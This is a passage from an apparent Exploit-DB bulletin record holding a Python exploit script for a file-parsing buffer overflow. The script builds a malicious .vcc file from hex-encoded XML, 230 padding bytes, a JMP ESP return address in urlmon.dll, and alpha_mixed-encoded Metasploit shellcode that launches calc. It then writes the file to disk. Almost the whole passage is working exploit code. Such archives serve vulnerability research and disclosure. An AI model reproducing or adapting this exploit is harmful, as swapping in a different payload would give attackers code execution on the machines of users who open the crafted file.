"\r\n\"\\x6d\\x65\\x44\\x65\\x6c\\x61\\x79\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x31\"\r\n\"\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x20\\x65\\x78\\x74\\x3d\\x27\"\r\n\"\\x31\\x30\\x6d\\x73\\x27\\x20\\x65\\x78\\x74\\x54\\x79\\x70\\x65\\x3d\\x27\\x38\"\r\n\"\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x72\\x61\\x6d\\x65\\x44\\x65\\x6c\\x61\\x79\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x52\\x65\\x70\\x65\\x74\\x69\\x74\\x69\\x6f\\x6e\\x20\\x76\"\r\n\"\\x61\\x6c\\x75\\x65\\x3d\\x27\\x31\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\"\r\n\"\\x27\\x3e\\x0d\\x0a\\x3c\\x43\\x6f\\x75\\x6e\\x74\\x52\\x65\\x70\\x65\\x74\\x20\"\r\n\"\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x31\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\"\r\n\"\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x43\\x6f\\x75\\x6e\\x74\\x52\\x65\\x70\\x65\"\r\n\"\\x74\\x3e\\x0d\\x0a\\x3c\\x2f\\x52\\x65\\x70\\x65\\x74\\x69\\x74\\x69\\x6f\\x6e\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x2f\\x41\\x6e\\x69\\x6d\\x61\\x74\\x69\\x6f\\x6e\\x3e\\x0d\"\r\n\"\\x0a\\x3c\\x53\\x6f\\x75\\x72\\x63\\x65\\x47\\x69\\x66\\x46\\x72\\x61\\x6d\\x65\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x53\\x6f\\x75\\x72\\x63\\x65\\x47\\x69\\x66\\x46\\x72\\x61\"\r\n\"\\x6d\\x65\\x54\\x79\\x70\\x65\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x32\\x27\"\r\n\"\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x43\\x6f\\x75\"\r\n\"\\x6e\\x74\\x53\\x6b\\x69\\x70\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x31\\x30\"\r\n\"\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x43\"\r\n\"\\x6f\\x75\\x6e\\x74\\x53\\x6b\\x69\\x70\\x3e\\x0d\\x0a\\x3c\\x46\\x72\\x61\\x6d\"\r\n\"\\x65\\x50\\x61\\x74\\x74\\x65\\x72\\x6e\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\"\r\n\"\\x31\\x3b\\x35\\x3b\\x37\\x3b\\x32\\x35\\x3b\\x33\\x32\\x27\\x20\\x74\\x79\\x70\"\r\n\"\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x72\\x61\\x6d\\x65\\x50\"\r\n\"\\x61\\x74\\x74\\x65\\x72\\x6e\\x3e\\x0d\\x0a\\x3c\\x2f\\x53\\x6f\\x75\\x72\\x63\"\r\n\"\\x65\\x47\\x69\\x66\\x46\\x72\\x61\\x6d\\x65\\x54\\x79\\x70\\x65\\x3e\\x0d\\x0a\"\r\n\"\\x3c\\x53\\x6f\\x75\\x72\\x63\\x65\\x43\\x6f\\x75\\x6e\\x74\\x46\\x72\\x61\\x6d\"\r\n\"\\x65\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x32\\x27\\x20\\x74\\x79\\x70\\x65\"\r\n\"\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x43\\x6f\\x75\\x6e\\x74\\x46\\x72\\x61\"\r\n\"\\x6d\\x65\\x73\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x32\\x27\\x20\\x74\\x79\"\r\n\"\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x43\\x6f\\x75\\x6e\\x74\"\r\n\"\\x46\\x72\\x61\\x6d\\x65\\x73\\x3e\\x0d\\x0a\\x3c\\x2f\\x53\\x6f\\x75\\x72\\x63\"\r\n\"\\x65\\x43\\x6f\\x75\\x6e\\x74\\x46\\x72\\x61\\x6d\\x65\\x3e\\x0d\\x0a\\x3c\\x2f\"\r\n\"\\x53\\x6f\\x75\\x72\\x63\\x65\\x47\\x69\\x66\\x46\\x72\\x61\\x6d\\x65\\x3e\\x0d\"\r\n\"\\x0a\\x3c\\x2f\\x4d\\x61\\x69\\x6e\\x3e\\x0d\\x0a\\x3c\\x46\\x72\\x61\\x6d\\x65\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x4c\\x69\\x66\\x65\\x54\\x69\\x6d\\x65\\x46\\x69\\x6c\\x74\"\r\n\"\\x65\\x72\\x73\\x3e\\x0d\\x0a\\x3c\\x53\\x69\\x7a\\x65\\x20\\x76\\x61\\x6c\\x75\"\r\n\"\\x65\\x3d\\x27\\x26\\x6c\\x74\\x3b\\x73\\x6f\\x75\\x72\\x63\\x65\\x26\\x67\\x74\"\r\n\"\\x3b\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x53\"\r\n\"\\x69\\x7a\\x65\\x4d\\x6f\\x64\\x65\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x30\"\r\n\"\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x53\"\r\n\"\\x69\\x7a\\x65\\x4d\\x6f\\x64\\x65\\x3e\\x0d\\x0a\\x3c\\x4f\\x72\\x69\\x67\\x69\"\r\n\"\\x6e\\x61\\x6c\\x52\\x61\\x74\\x69\\x6f\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\"\r\n\"\\x31\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\"\r\n\"\\x4f\\x72\\x69\\x67\\x69\\x6e\\x61\\x6c\\x52\\x61\\x74\\x69\\x6f\\x3e\\x0d\\x0a\"\r\n\"\\x3c\\x52\\x65\\x73\\x69\\x7a\\x65\\x54\\x79\\x70\\x65\\x20\\x76\\x61\\x6c\\x75\"\r\n\"\\x65\\x3d\\x27\\x30\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\"\r\n\"\\x0a\\x3c\\x2f\\x52\\x65\\x73\\x69\\x7a\\x65\\x54\\x79\\x70\\x65\\x3e\\x0d\\x0a\"\r\n\"\\x3c\\x44\\x65\\x6c\\x74\\x61\\x52\\x61\\x74\\x69\\x6f\\x20\\x76\\x61\\x6c\\x75\"\r\n\"\\x65\\x3d\\x27\\x30\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\"\r\n\"\\x0a\\x3c\\x2f\\x44\\x65\\x6c\\x74\\x61\\x52\\x61\\x74\\x69\\x6f\\x3e\\x0d\\x0a\"\r\n\"\\x3c\\x52\\x65\\x73\\x69\\x7a\\x65\\x48\\x69\\x67\\x68\\x20\\x76\\x61\\x6c\\x75\"\r\n\"\\x65\\x3d\\x27\\x31\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\"\r\n\"\\x0a\\x3c\\x2f\\x52\\x65\\x73\\x69\\x7a\\x65\\x48\\x69\\x67\\x68\\x3e\\x0d\\x0a\"\r\n\"\\x3c\\x2f\\x53\\x69\\x7a\\x65\\x3e\\x0d\\x0a\\x3c\\x43\\x6f\\x6c\\x6f\\x72\\x44\"\r\n\"\\x65\\x70\\x74\\x68\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x35\\x27\\x20\\x74\"\r\n\"\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x43\\x6f\\x6c\\x6f\"\r\n\"\\x72\\x44\\x65\\x70\\x74\\x68\\x3e\\x0d\\x0a\\x3c\\x43\\x72\\x6f\\x70\\x20\\x76\"\r\n\"\\x61\\x6c\\x75\\x65\\x3d\\x27\\x26\\x6c\\x74\\x3b\\x6e\\x6f\\x6e\\x65\\x26\\x67\"\r\n\"\\x74\\x3b\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\"\r\n\"\\x2f\\x43\\x72\\x6f\\x70\\x3e\\x0d\\x0a\\x3c\\x57\\x61\\x74\\x65\\x72\\x4d\\x61\"\r\n\"\\x72\\x6b\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x30\\x27\\x20\\x74\\x79\\x70\"\r\n\"\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x57\\x61\\x74\\x65\\x72\\x4d\"\r\n\"\\x61\\x72\\x6b\\x3e\\x0d\\x0a\\x3c\\x46\\x69\\x6c\\x74\\x65\\x72\\x73\\x20\\x76\"\r\n\"\\x61\\x6c\\x75\\x65\\x3d\\x27\\x30\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\"\r\n\"\\x27\\x3e\\x0d\\x0a\\x3c\\x45\\x6e\\x75\\x6d\\x46\\x69\\x6c\\x74\\x65\\x72\\x73\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x2f\\x45\\x6e\\x75\\x6d\\x46\\x69\\x6c\\x74\\x65\\x72\\x73\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x69\\x6c\\x74\\x65\\x72\\x73\\x3e\\x0d\\x0a\\x3c\"\r\n\"\\x2f\\x4c\\x69\\x66\\x65\\x54\\x69\\x6d\\x65\\x46\\x69\\x6c\\x74\\x65\\x72\\x73\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x72\\x61\\x6d\\x65\\x3e\\x0d\\x0a\\x3c\\x2f\\x47\"\r\n\"\\x49\\x46\\x41\\x3e\\x0d\\x0a\\x3c\\x2f\\x4f\\x75\\x74\\x70\\x75\\x74\\x46\\x69\"\r\n\"\\x6c\\x65\\x46\\x6f\\x72\\x6d\\x61\\x74\\x3e\\x0d\\x0a\\x3c\\x57\\x6f\\x72\\x6b\"\r\n\"\\x44\\x69\\x72\\x73\\x3e\\x0d\\x0a\\x3c\\x57\\x6f\\x72\\x6b\\x44\\x69\\x72\\x45\"\r\n\"\\x6e\\x75\\x6d\\x20\\x65\\x6e\\x75\\x6d\\x3d\\x20\\x22\\x54\\x52\\x55\\x45\\x22\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x2f\\x57\\x6f\\x72\\x6b\\x44\\x69\\x72\\x45\\x6e\\x75\\x6d\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x2f\\x57\\x6f\\x72\\x6b\\x44\\x69\\x72\\x73\\x3e\\x0d\\x0a\"\r\n\"\\x3c\\x54\\x68\\x75\\x6d\\x62\\x50\\x61\\x74\\x74\\x65\\x72\\x6e\\x73\\x3e\\x0d\"\r\n\"\\x0a\\x3c\\x45\\x6e\\x75\\x6d\\x54\\x68\\x75\\x6d\\x62\\x50\\x61\\x74\\x74\\x65\"\r\n\"\\x72\\x6e\\x73\\x20\\x65\\x6e\\x75\\x6d\\x3d\\x20\\x22\\x54\\x52\\x55\\x45\\x22\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x2f\\x45\\x6e\\x75\\x6d\\x54\\x68\\x75\\x6d\\x62\\x50\\x61\"\r\n\"\\x74\\x74\\x65\\x72\\x6e\\x73\\x3e\\x0d\\x0a\\x3c\\x2f\\x54\\x68\\x75\\x6d\\x62\"\r\n\"\\x50\\x61\\x74\\x74\\x65\\x72\\x6e\\x73\\x3e\\x0d\\x0a\\x3c\\x2f\\x4d\\x61\\x69\"\r\n\"\\x6e\\x3e\\x0d\\x0a\"\r\n)\r\nbuffersize =3D 1000\r\npayload =3D \"\\x41\" * 230\r\n# JMP ESP [urlmon.dll]\r\npayload +=3D struct.pack(\"<L\",0x781c2014 )\r\n# msfpayload windows/exec CMD=3Dcalc R |msfencode BufferRegister=3DESP -e x=\r\n86/alpha_mixed\r\n# [*] x86/alpha_mixed succeeded with size 446 (iteration=3D1)\r\n#\r\npayload +=3D (\r\n\"\\x54\\x59\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\" +\r\n\"\\x49\\x49\\x49\\x49\\x37\\x51\\x5a\\x6a\\x41\\x58\\x50\\x30\\x41\\x30\" +\r\n\"\\x41\\x6b\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30\\x42\\x42\" +\r\n\"\\x41\\x42\\x58\\x50\\x38\\x41\\x42\\x75\\x4a\\x49\\x4b\\x4c\\x69\\x78\" +\r\n\"\\x4d\\x59\\x37\\x70\\x63\\x30\\x55\\x50\\x51\\x70\\x6b\\x39\\x38\\x65\" +\r\n\"\\x76\\x51\\x38\\x52\\x73\\x54\\x4e\\x6b\\x32\\x72\\x46\\x50\\x6c\\x4b\" +\r\n\"\\x43\\x62\\x74\\x4c\\x6c\\x4b\\x32\\x72\\x74\\x54\\x6c\\x4b\\x74\\x32\" +\r\n\"\\x37\\x58\\x56\\x6f\\x4f\\x47\\x52\\x6a\\x65\\x76\\x66\\x51\\x49\\x6f\" +\r\n\"\\x36\\x51\\x39\\x50\\x4e\\x4c\\x37\\x4c\\x35\\x31\\x43\\x4c\\x57\\x72\" +\r\n\"\\x56\\x4c\\x61\\x30\\x4f\\x31\\x4a\\x6f\\x46\\x6d\\x67\\x71\\x68\\x47\" +\r\n\"\\x6d\\x32\\x68\\x70\\x43\\x62\\x53\\x67\\x6e\\x6b\\x56\\x32\\x62\\x30\" +\r\n\"\\x4e\\x6b\\x72\\x62\\x55\\x6c\\x45\\x51\\x6e\\x30\\x4e\\x6b\\x61\\x50\" +\r\n\"\\x70\\x78\\x6b\\x35\\x6f\\x30\\x63\\x44\\x63\\x7a\\x33\\x31\\x6a\\x70\" +\r\n\"\\x70\\x50\\x4c\\x4b\\x62\\x68\\x65\\x48\\x6c\\x4b\\x33\\x68\\x37\\x50\" +\r\n\"\\x47\\x71\\x39\\x43\\x6b\\x53\\x35\\x6c\\x77\\x39\\x4c\\x4b\\x34\\x74\" +\r\n\"\\x6e\\x6b\\x73\\x31\\x6a\\x76\\x50\\x31\\x49\\x6f\\x55\\x61\\x4b\\x70\" +\r\n\"\\x6e\\x4c\\x69\\x51\\x5a\\x6f\\x74\\x4d\\x56\\x61\\x5a\\x67\\x35\\x68\" +\r\n\"\\x6b\\x50\\x33\\x45\\x38\\x74\\x57\\x73\\x33\\x4d\\x59\\x68\\x75\\x6b\" +\r\n\"\\x31\\x6d\\x34\\x64\\x44\\x35\\x4b\\x52\\x31\\x48\\x4c\\x4b\\x46\\x38\" +\r\n\"\\x65\\x74\\x77\\x71\\x6a\\x73\\x35\\x36\\x6e\\x6b\\x56\\x6c\\x30\\x4b\" +\r\n\"\\x4c\\x4b\\x62\\x78\\x77\\x6c\\x35\\x51\\x59\\x43\\x6c\\x4b\\x33\\x34\" +\r\n\"\\x4c\\x4b\\x73\\x31\\x6e\\x30\\x6b\\x39\\x72\\x64\\x44\\x64\\x75\\x74\" +\r\n\"\\x43\\x6b\\x51\\x4b\\x65\\x31\\x52\\x79\\x62\\x7a\\x53\\x61\\x6b\\x4f\" +\r\n\"\\x69\\x70\\x56\\x38\\x33\\x6f\\x73\\x6a\\x4c\\x4b\\x64\\x52\\x38\\x6b\" +\r\n\"\\x6b\\x36\\x43\\x6d\\x51\\x7a\\x63\\x31\\x6c\\x4d\\x6c\\x45\\x68\\x39\" +\r\n\"\\x57\\x70\\x47\\x70\\x45\\x50\\x32\\x70\\x55\\x38\\x54\\x71\\x4e\\x6b\" +\r\n\"\\x50\\x6f\\x6f\\x77\\x4b\\x4f\\x59\\x45\\x6f\\x4b\\x58\\x70\\x6c\\x75\" +\r\n\"\\x4f\\x52\\x43\\x66\\x70\\x68\\x6e\\x46\\x6e\\x75\\x6f\\x4d\\x4f\\x6d\" +\r\n\"\\x4b\\x4f\\x59\\x45\\x75\\x6c\\x47\\x76\\x33\\x4c\\x55\\x5a\\x4d\\x50\" +\r\n\"\\x6b\\x4b\\x59\\x70\\x64\\x35\\x73\\x35\\x6f\\x4b\\x73\\x77\\x35\\x43\" +\r\n\"\\x64\\x32\\x62\\x4f\\x71\\x7a\\x43\\x30\\x33\\x63\\x4b\\x4f\\x6e\\x35\" +\r\n\"\\x62\\x43\\x73\\x51\\x32\\x4c\\x31\\x73\\x53\\x30\\x41\\x41\"\r\n)\r\npayload +=3D \"\\x41\" * (buffersize - len(payload))=20\r\nsploit =3D header + payload + footer\r\n=20\r\nprint \"[*] Creating .vcc file\"\r\n=20\r\ntry:\r\n=09print \"[+]Creating Exploit File...\\n\"\r\n=09file =3D open(\"noname1.vcc\",\"wb\")=20\r\n=09file.write(sploit)\r\n=09file.close\r\n=09print \"[+]File noname1.vcc create successfully.\\n\"\r\nexcept:=09\r\n=09print \"**[-]Error: #{$!}\\n\"\r\n", "osvdbidlist": [], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

{}